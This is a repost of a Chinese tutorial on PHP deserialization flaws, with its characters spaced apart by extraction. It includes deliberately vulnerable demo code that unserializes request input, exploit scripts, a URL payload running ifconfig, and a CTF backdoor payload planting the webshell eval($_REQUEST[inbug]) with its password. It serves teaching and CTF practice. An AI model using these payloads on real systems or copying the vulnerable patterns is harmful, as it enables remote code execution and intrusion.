搜索

[18977] 2021-08-06_PHP反序列化漏洞浅入浅出

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-18
2021-08-06_PHP反序列化漏洞浅入浅出 P H P 反 序 列 化 漏 洞 浅 入 浅 出 原 创   I n B u g 实 验 室   I n B u g 实 验 室   2 0 2 1 - 0 8 - 0 6 收 录 于 话 题 # 信 息 安 全   , 2 # 序 列 化   , 1 # 反 序 列 化   , 1 # p h p   , 1                                                                                                                                                                                                         序 列 化 与 反 序 列 化 序 列 化 与 反 序 列 化 序 列 化 就 是 将 对 象 的 状 态 信 息 转 换 为 可 存 储 或 传 输 的 形 式 的 过 程 ； 反 序 列 化 将 可 存 储 或 传 输 的 形 式 的 过 程 恢 复 为 对 象 的 过 程 。 面 向 对 象 的 语 言 都 存 在 序 列 化 和 反 序 列 化 操 作 ， 如 C # 、 p y t h o n 、 j a v a 、 p h p 、 J a v a S c r i p t 等 。 为 什 么 需 要 反 序 列 化 呢 ？ 一 是 方 便 传 输 ， 服 务 端 把 数 据 序 列 化 ， 发 送 到 客 户 端 ， 客 户 端 把 接 收 到 的 数 据 反 序 列 化 后 对 数 据 进 行 操 作 ， 完 成 后 再 序 列 化 发 送 到 服 务 端 ， 服 务 端 再 反 序 列 化 数 据 后 对 数 据 进 行 操 作 ； 二 是 方 便 存 储 ， 将 内 存 中 的 对 象 状 态 保 存 至 文 件 或 数 据 库 中 ， 供 之 后 使 用 。 序 列 化 与 反 序 列 化 机 制 本 身 并 无 问 题 ， 但 应 用 程 序 对 于 用 户 输 入 数 据 （ 不   可 信 数 据 ） 进 行 了 反 序 列 化 处 理 ， 使 反 序 列 化 生 成 了 非 预 期 的 对 象 ， 在 对 象 的 产 生 过 程 中 可 能 产 生 攻 击 行 为 。 P H P 序 列 化 序 列 化 P H P 序 列 化 后 得 到 的 字 符 串 存 储 的 信 息 仅 包 含 对 象 的 属 性 ， 并 不 包 含 类 中 的 函 数 （ 方 法 ） 。 代 码 执 行 结 果   从 执 行 结 果 可 以 看 出 O : 7 : " S t u d e n t " 中 O 代 表 o b j e c t ， 7 是 对 象 名 称 长 度 ， " S t u d e n t " 是 O 对 应 的 值 。 p h p 序 列 化 后 的 格 式 为 ” 类 型 : 长 度 : 值 “ ， 后 面 再 将 O : 7 : " S t u d e n t " 看 作 一 个 整 体 作 为 S t u d e n t 类 的 对 象 类 型 ， 后 面 的 3 为 长 度 ， 最 后 的 花 括 号 中 存 在 3 对 属 性 。 由 于 P H P 序 列 化 后 得 到 的 字 符 串 存 储 的 信 息 仅 包 含 对 象 的 属 性 ， 所 以 可 以 去 除 函 数 进 行 序 列 化 。 特 定 环 境 下 去 除 函 数 后 才 能 得 到 你 想 要 的 。 代 码 执 行 结 果 < ? p h p c l a s s   S t u d e n t {         p u b l i c   $ n a m e ;         p u b l i c   $ s t u i d ;         p u b l i c   $ a g e ;         f u n c t i o n   _ _ c o n s t r u c t ( $ n a m e , $ s t u i d ) {                 $ t h i s - > n a m e = $ n a m e ;                 $ t h i s - > s t u i d = $ s t u i d ;         }           f u n c t i o n   h e l l o ( ) {                 e c h o ( " H e l l o , I ' m   $ t h i s - > n a m e . " ) ;         } } $ s t u 1 = n e w   S t u d e n t ( ' A l i c e ' , 1 ) ; $ s t u 2 = n e w   S t u d e n t ( ' B o b ' , 2 ) ; $ s t u 1 - > h e l l o ( ) ; $ s t u 2 - > h e l l o ( ) ; e c h o ( s e r i a l i z e ( $ s t u 1 ) ) ; e c h o ( s e r i a l i z e ( $ s t u 2 ) ) ; k a l i @ k a l i : / t m p $   p h p   s t u d e n t . p h p   H e l l o , I ' m   A l i c e . H e l l o , I ' m   B o b . O : 7 : " S t u d e n t " : 3 : { s : 4 : " n a m e " ; s : 5 : " A l i c e " ; s : 5 : " s t u i d " ; i : 1 ; s : 3 : " a g e " ; N ; } O : 7 : " S t u d e n t " : 3 : { s : 4 : " n a m e " ; s : 3 : " B o b " ; s : 5 : " s t u i d " ; i : 2 ; s : 3 : " a g e " ; N ; } < ? p h p c l a s s   S t u d e n t {         p u b l i c   $ n a m e ;         p u b l i c   $ s t u i d ;         p u b l i c   $ a g e ; } $ s t u 1 = n e w   S t u d e n t ( ) ; $ s t u 1 - > n a m e = ' A l i c e ' ; $ s t u 1 - > s t u i d = 1 ; $ s t u 2 = n e w   S t u d e n t ( ) ; $ s t u 2 - > n a m e = ' B o b ' ; $ s t u 2 - > s t u i d = 2 ; e c h o ( s e r i a l i z e ( $ s t u 1 ) ) ; e c h o ( " n " ) ; e c h o ( s e r i a l i z e ( $ s t u 2 ) ) ; e c h o ( " n " ) ; k a l i @ k a l i : / t m p $   p h p   s t u d e n t _ n o f u n c . p h p   O : 7 : " S t u d e n t " : 3 : { s : 4 : " n a m e " ; s : 5 : " A l i c e " ; s : 5 : " s t u i d " ; i : 1 ; s : 3 : " a g e " ; N ; } O : 7 : " S t u d e n t " : 3 : { s : 4 : " n a m e " ; s : 3 : " B o b " ; s : 5 : " s t u i d " ; i : 2 ; s : 3 : " a g e " ; N ; }
可 见 ， 只 要 c l a s s 名 称 、 属 性 及 属 性 值 相 同 ， 序 列 化 结 果 相 同 ， 与 成 员 函 数 无 任 何 关 系 。                                               P H P 反 序 列 化 反 序 列 化 P H P 反 序 列 化 是 序 列 化 的 逆 过 程 ， 将 序 列 化 后 的 字 符 串 还 原 成 P H P 对 象 。 代 码 执 行 结 果 可 见 代 码 中 $ s t u 对 象 由 反 序 列 化 得 到 ， 反 序 列 化 的 本 质 就 是 为 对 象 属 性 赋 值 。                                                                                                                                                                                                         P H P 反 序 列 化 漏 洞 反 序 列 化 漏 洞 反 序 列 化 时 ， 我 们 只 能 控 制 对 象 的 的 属 性 值 ， 不 能 直 接 控 制 其 执 行 某 个 特 定 的 函 数 或 语 句 ， 无 法 直 接 造 成 危 害 。 P H P 存 在 一 些 魔 术 函 数 ， 特 定 条 件 下 被 动 触 发 执 行 。 我 们 可 以 构 造 属 性 值 为 特 定 对 象 ， 创 造 环 境 使 其 触 发 执 行 一 些 包 含 危 险 操 作 的 魔 术 函 数 执 行 。 魔 术 函 数 以 双 下 划 线 开 头 。 P H P 中 常 见 的 魔 术 函 数 和 触 发 条 件 如 下 ： 魔 术 函 数 触 发 条 件 _ _ c o n s t r u c t ( ) 使 用 n e w 关 键 字 创 建 对 象 时 _ _ d e s t r u c t ( ) 对 象 被 销 毁 时 包 括 但 不 限 于 程 序 正 常 结 束 _ _ c a l l ( ) 调 用 对 象 的 一 个 不 可 访 问 方 法 时 _ _ c a l l S t a t i c ( ) 使 用 类 名 调 用 一 个 不 可 访 问 的 静 态 方 法 时 _ _ g e t ( ) 读 取 不 可 访 问 属 性 的 值 时 _ _ s e t ( ) 给 不 可 访 问 属 性 赋 值 时 _ _ i s s e t ( ) 当 对 不 可 访 问 属 性 调 用   i s s e t ( )   或   e m p t y ( )   时 _ _ u n s e t ( ) 当 对 不 可 访 问 属 性 调 用   u n s e t ( )   时 _ _ s l e e p ( ) 要 序 列 化 还 未 序 列 化 时 _ _ w a k e u p ( ) 反 序 列 化 完 成 后 自 动 调 用 _ _ s e r i a l i z e ( ) 要 序 列 化 还 未 序 列 化 时 调 用 ， 与 _ _ s l e e p ( ) 同 时 存 在 时 _ _ s l e e p ( ) 会 被 忽 略 不 调 用 _ _ u n s e r i a l i z e ( ) 反 序 列 化 完 成 后 自 动 调 用 ， 与 _ _ w a k e u p ( ) 同 时 存 在 时 _ _ w a k e u p ( ) 会 被 忽 略 不 调 用 _ _ t o S t r i n g ( ) 对 象 被 当 作 字 符 串 时 ， 如 字 符 串 拼 接 、 被 e c h o 等 _ _ i n v o k e ( ) 对 象 被 当 作 函 数 调 用 时 代 码 O : 7 : " S t u d e n t " : 3 : { s : 4 : " n a m e " ; s : 3 : " B o b " ; s : 5 : " s t u i d " ; i : 2 ; s : 3 : " a g e " ; N ; } < ? p h p c l a s s   S t u d e n t {         p u b l i c   $ n a m e ;         p u b l i c   $ s t u i d ;         p u b l i c   $ a g e ;         f u n c t i o n   _ _ c o n s t r u c t ( $ n a m e , $ s t u i d ) {                 $ t h i s - > n a m e = $ n a m e ;                 $ t h i s - > s t u i d = $ s t u i d ;         }           f u n c t i o n   h e l l o ( ) {                 e c h o ( " H e l l o , I ' m   $ t h i s - > n a m e . n " ) ;         } } $ s t u = u n s e r i a l i z e ( ' O : 7 : " S t u d e n t " : 3 : { s : 4 : " n a m e " ; s : 5 : " A l i c e " ; s : 5 : " s t u i d " ; i : 1 ; s : 3 : " a g e " ; N ; } ' ) ; $ s t u - > h e l l o ( ) ; e c h o   $ s t u - > n a m e ; e c h o   " n " ; k a l i @ k a l i : / t m p $   p h p   s t u d e n t _ s l e e p . p h p H e l l o , I ' m   A l i c e . A l i c e < ? p h p c l a s s   S t u d e n t {         p u b l i c   $ n a m e ;         p u b l i c   $ s t u i d ;         p u b l i c   $ a g e ;         f u n c t i o n   _ _ c o n s t r u c t ( $ n a m e , $ s t u i d ) {                 $ t h i s - > n a m e = $ n a m e ;                 $ t h i s - > s t u i d = $ s t u i d ;         }  
执 行 结 果 _ _ g e t 函 数 在 尝 试 访 问 $ s t u - > s e x 触 发 执 行 。 看 如 下 示 例 ， 进 行 简 单 的 反 序 列 化 利 用 。 代 码 分 析 由 于 u n s e r i a l i z e 函 数 从 请 求 中 获 取 u n 参 数 ， 用 户 可 控 制 用 于 反 序 列 化 的 字 符 串 。 重 心 放 在 寻 找 可 利 用 的 魔 术 函 数 上 。 我 们 很 容 易 注 意 到 类 中 的 _ _ t o S t r i n g 函 数 执 行 了 危 险 操 作 ， 需 要 使 其 触 发 ， 就 必 须 要 有 地 方 将 该 对 象 当 作 字 符 串 使 用 。 反 序 列 化 后 只 调 用 了 h e l l o ( ) ， h e l l o 中 将 自 身 的 n a m e 属 性 进 行 字 符 串 拼 接 ， 如 果 该 n a m e 属 性 的 值 是 S t u d e n t 对 象 ， 那 将 触 发 该 对 象 的 _ _ _ t o S t r i n g 函 数 执 行 。 所 以 我 们 创 建 一 个 S t u d e n t 对 象 $ s t u 1 ， 使 其 属 性 $ c o m m a n d 为 我 们 想 执 行 的 命 令 ， $ s t u 1 对 象 被 当 作 字 符 串 使 用 时 将 执 行 $ c o m m a n d 。 然 后 创 建 一 个 S t u d e n t 对 象 $ s t u 2 ， 使 其 n a m e 属 性 为 $ s t u 1 ， 在 执 行 $ s t u 2 的 h e l l o 函 数 时 就 会 将 $ s t u 1 当 作 字 符 串 进 行 拼 接 触 发 $ s t u 1 的 _ _ t o S t r i n g 函 数 。 e x p 代 码 如 下 ： e x p 执 行 结 果         }           f u n c t i o n   h e l l o ( ) {                 e c h o ( " H e l l o , I ' m   $ t h i s - > n a m e . n " ) ;         }         f u n c t i o n   _ _ g e t ( $ v a l u e ) {                 e c h o   " $ v a l u e   g e t   e r r o r . n " ;                 r e t u r n ( " u n k n o w   $ v a l u e . n " ) ;         } } $ s t u = n e w   S t u d e n t ( ' A l i c e ' , 1 ) ; e c h o   $ s t u - > s e x ; k a l i @ k a l i : / t m p $   p h p   m a g i c . p h p   s e x   g e t   e r r o r . u n k n o w   s e x . < ? p h p c l a s s   S t u d e n t {         p u b l i c   $ n a m e ;         p u b l i c   $ s t u i d ;         p u b l i c   $ a g e ;         f u n c t i o n   _ _ c o n s t r u c t ( $ n a m e , $ s t u i d ) {                 $ t h i s - > n a m e = $ n a m e ;                 $ t h i s - > s t u i d = $ s t u i d ;         }           f u n c t i o n   h e l l o ( ) {                 e c h o ( " H e l l o , I ' m   $ t h i s - > n a m e . n " ) ;         }         f u n c t i o n   _ _ g e t ( $ v a l u e ) {                 e c h o   " $ v a l u e   g e t   e r r o r n " ;                 r e t u r n ( " u n k n o w   $ v a l u e . n " ) ;         }         f u n c t i o n   _ _ t o S t r i n g ( ) {                 s y s t e m ( $ t h i s - > c o m m a n d ) ;                 r e t u r n ( " n o k n " ) ;         } } $ s t u = u n s e r i a l i z e ( $ _ R E Q U E S T ( ' u n ' ) ) ; $ s t u - > h e l l o ( ) ; < ? p h p c l a s s   S t u d e n t {         p u b l i c   $ n a m e ;         p u b l i c   $ s t u i d ;         p u b l i c   $ a g e ;         f u n c t i o n   _ _ c o n s t r u c t ( $ n a m e , $ s t u i d ) {                 $ t h i s - > n a m e = $ n a m e ;                 $ t h i s - > s t u i d = $ s t u i d ;         }           f u n c t i o n   h e l l o ( ) {                 e c h o ( " H e l l o , I ' m   $ t h i s - > n a m e . n " ) ;         }         f u n c t i o n   _ _ g e t ( $ v a l u e ) {                 e c h o   " $ v a l u e   g e t   e r r o r n " ;                 r e t u r n ( " u n k n o w   $ v a l u e . n " ) ;         }         f u n c t i o n   _ _ t o S t r i n g ( ) {                 s y s t e m ( $ t h i s - > c o m m a n d ) ;                 r e t u r n ( " n o k n " ) ;         } } $ s t u 1 = n e w   S t u d e n t ( ' A l i c e ' , 1 ) ; $ s t u 1 - > c o m m a n d = ' i f c o n f i g ' ; $ s t u 2 = n e w   S t u d e n t ( $ s t u 1 , 2 ) ; e c h o   s e r i a l i z e ( $ s t u 2 ) ;
构 造 u r l : 访 问 结 果 ：                                                                                                                                                                                                         实 例 实 例 该 题 为 2 0 2 0 年 云 南 省 网 络 安 全 大 赛 中 一 个 w e b 环 境 ， 里 面 存 在 多 个 漏 洞 。 该 反 序 列 化 后 门 仅 为 其 中 之 一 。 本 文 仅 对 该 后 门 进 行 分 析 。 后 门 地 址 : / c o n t e n t / b a c k u p / n b c . p h p 分 析 说 明 $ d 可 能 是 D e m o 1 的 实 例 ， 执 行 D e m o 1 中 的 t e s t ( ) 时 e c h o 自 己 的 $ a 的 值 ， 若 $ a 不 为 字 符 串 ， 将 触 发 调 用 ， 若 为 D e m o 2 的 实 例 ， 调 用 $ a - > a ( ) ， 执 行 。       构 造 对 象 使 得 $ s 为 D e m o 1 的 实 例 ， $ s 的 a 属 性 为 D e m o 2 的 实 例   $ t ， 并 使 $ t 的 属 性 c m d 为 自 定 义 的 p h p 代 码 ， 如 一 句 话 木 马 。   k a l i @ k a l i : / t m p $   p h p   u n s e r _ e x p . p h p O : 7 : " S t u d e n t " : 3 : { s : 4 : " n a m e " ; O : 7 : " S t u d e n t " : 4 : { s : 4 : " n a m e " ; s : 5 : " A l i c e " ; s : 5 : " s t u i d " ; i : 1 ; s : 3 : " a g e " ; N ; s : 7 : " c o m m a n d " ; s : 8 : " i f c o n f i g " ; } s : 5 : " s t u i d " ; i : 2 ; s : 3 : " a g e " ; N ; } h t t p : / / 1 2 7 . 0 . 0 . 1 / u n s e r _ v u l . p h p ? u n = O : 7 : " S t u d e n t " : 3 : { s : 4 : " n a m e " ; O : 7 : " S t u d e n t " : 4 : { s : 4 : " n a m e " ; s : 5 : " A l i c e " ; s : 5 : " s t u i d " ; i : 1 ; s : 3 : " a g e " ; N ; s : 7 : " c o m m a n d " ; s : 8 : " i f c o n f i g " ; } s : 5 : " s t u i d " ; i : 2 ; s : 3 : " a g e " ; N ; } e t h 1 :   f l a g s = 4 1 6 3 < U P , B R O A D C A S T , R U N N I N G , M U L T I C A S T >     m t u   1 5 0 0                 i n e t   1 9 2 . 1 6 8 . 1 3 8 . 1     n e t m a s k   2 5 5 . 2 5 5 . 2 5 5 . 0     b r o a d c a s t   1 9 2 . 1 6 8 . 1 3 8 . 2 5 5                 i n e t 6   f e 8 0 : : c 4 9 : b f f : 2 a 4 4 : 7 c 3     p r e f i x l e n   6 4     s c o p e i d   0 x f d < c o m p a t , l i n k , s i t e , h o s t >                 e t h e r   0 0 : 5 0 : 5 6 : c 0 : 0 0 : 0 1     ( E t h e r n e t )                 R X   p a c k e t s   0     b y t e s   0   ( 0 . 0   B )                 R X   e r r o r s   0     d r o p p e d   0     o v e r r u n s   0     f r a m e   0                 T X   p a c k e t s   0     b y t e s   0   ( 0 . 0   B )                 T X   e r r o r s   0     d r o p p e d   0   o v e r r u n s   0     c a r r i e r   0     c o l l i s i o n s   0 l o :   f l a g s = 7 3 < U P , L O O P B A C K , R U N N I N G >     m t u   1 5 0 0                 i n e t   1 2 7 . 0 . 0 . 1     n e t m a s k   2 5 5 . 0 . 0 . 0                 i n e t 6   : : 1     p r e f i x l e n   1 2 8     s c o p e i d   0 x f e < c o m p a t , l i n k , s i t e , h o s t >                 l o o p     ( L o c a l   L o o p b a c k )                 R X   p a c k e t s   0     b y t e s   0   ( 0 . 0   B )                 R X   e r r o r s   0     d r o p p e d   0     o v e r r u n s   0     f r a m e   0                 T X   p a c k e t s   0     b y t e s   0   ( 0 . 0   B )                 T X   e r r o r s   0     d r o p p e d   0   o v e r r u n s   0     c a r r i e r   0     c o l l i s i o n s   0 H e l l o , I ' m o k . < ? p h p e r r o r _ r e p o r t i n g ( 0 ) ; c l a s s   D e m o 1 {     p r i v a t e   $ a ;     f u n c t i o n   t e s t ( ) {         e c h o   $ t h i s - > a ;     } } c l a s s   D e m o 2 {     p r i v a t e   $ c m d ;     f u n c t i o n   a ( ) {         e v a l ( $ t h i s - > c m d ) ;     }     f u n c t i o n   _ _ t o S t r i n g ( ) {         $ t h i s - > a ( ) ;         r e t u r n   ' o k ' ;     } } $ d   =   u n s e r i a l i z e ( $ _ G E T [ ' s ' ] ) ; $ d - > t e s t ( ) ; $ d - > t e s t ( ) $ a - > _ _ t o S t r i n g ( ) $ a $ a - > _ _ t o S t r i n g ( ) e v a l ( $ a - > c m d ) ; e v a l ( $ _ R E Q U E S T [ i n b u g ] ) ;
由 于 D e m o 1 的 a 属 性 和 D e m o 2 的 c m d 属 性 均 为 私 有 （ p r i v a t e ） 属 性 ， 生 成 p a y l o a d 时 添 加 函 数 来 给 私 有 属 性 赋 值 。 此 处 添 加 构 造 函 数 （ _ _ c o n s t r u c t ） ， 也 可 定 义 其 他 函 数 或 者 在 c l a s s 中 赋 值 。 注 ： 私 有 属 性 序 列 化 后 会 产 生 空 字 节 ( % 0 0 ) ， 所 以 根 据 需 要 选 择 不 同 编 码 方 式 ， 不 编 码 会 导 致 空 字 节 丢 失 ， 进 制 利 用 失 败 。 编 写 利 用 代 码   e x p . p h p 执 行 结 果 蚁 剑 连 接                                                                                                                                                                                                         总 结 总 结 P H P 反 序 列 化 利 用 需 要 两 个 条 件 ， 一 是 用 于 反 序 列 化 的 字 符 串 用 户 可 控 ， 二 是 服 务 端 环 境 中 有 可 利 用 的 c l a s s 和 魔 术 函 数 。 < ? p h p c l a s s   D e m o 1 {     p r i v a t e   $ a ;     f u n c t i o n   _ _ c o n s t r u c t ( $ a r g ) {         $ t h i s - > a = $ a r g ;     }     f u n c t i o n   t e s t ( ) {         e c h o   $ t h i s - > a ;     } } c l a s s   D e m o 2 {     p r i v a t e   $ c m d ;     f u n c t i o n   _ _ c o n s t r u c t ( $ a r g ) {         $ t h i s - > c m d = $ a r g ;     }     f u n c t i o n   a ( ) {         e v a l ( $ t h i s - > c m d ) ;     }     f u n c t i o n   _ _ t o S t r i n g ( ) {         $ t h i s - > a ( ) ;         r e t u r n   ' o k ' ;     } } $ t = n e w   D e m o 2 ( ' e v a l ( $ _ R E Q U E S T [ i n b u g ] ) ; ' ) ; $ s = n e w   D e m o 1 ( $ t ) ; $ d   =   s e r i a l i z e ( $ s ) ; e c h o ( u r l e n c o d e ( $ d ) ) ; r o o t @ k a l i #   p h p   e x p . p h p O % 3 A 5 % 3 A % 2 2 D e m o 1 % 2 2 % 3 A 1 % 3 A % 7 B s % 3 A 8 % 3 A % 2 2 % 0 0 D e m o 1 % 0 0 a % 2 2 % 3 B O % 3 A 5 % 3 A % 2 2 D e m o 2 % 2 2 % 3 A 1 % 3 A % 7 B s % 3 A 1 0 % 3 A % 2 2 % 0 0 D e m o 2 % 0 0 c m d % 2 2 % 3 B s % 3 A 2 3 % 3 A % 2 2 e v a l % 2 8 % 2 4 _ R E Q U E S T % 5 B i n b u g % 5 D % 2 9 % 3 B % 2 2 % 3 B % 7 D % 7 D 链 接 ： / c o n t e n t / b a c k u p / n b c . p h p ? s = O % 3 A 5 % 3 A % 2 2 D e m o 1 % 2 2 % 3 A 1 % 3 A % 7 B s % 3 A 8 % 3 A % 2 2 % 0 0 D e m o 1 % 0 0 a % 2 2 % 3 B O % 3 A 5 % 3 A % 2 2 D e m o 2 % 2 2 % 3 A 1 % 3 A % 7 B s % 3 A 1 0 % 3 A % 2 2 % 0 0 D e m o 2 % 0 0 c m d % 2 2 % 3 B s % 3 A 2 3 % 3 A % 2 2 e v a l % 2 8 % 2 4 _ R E Q U E S T % 5 B i n b u g % 5 D % 2 9 % 3 B % 2 2 % 3 B % 7 D % 7 D 连 接 密 码 ： i n b u g
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理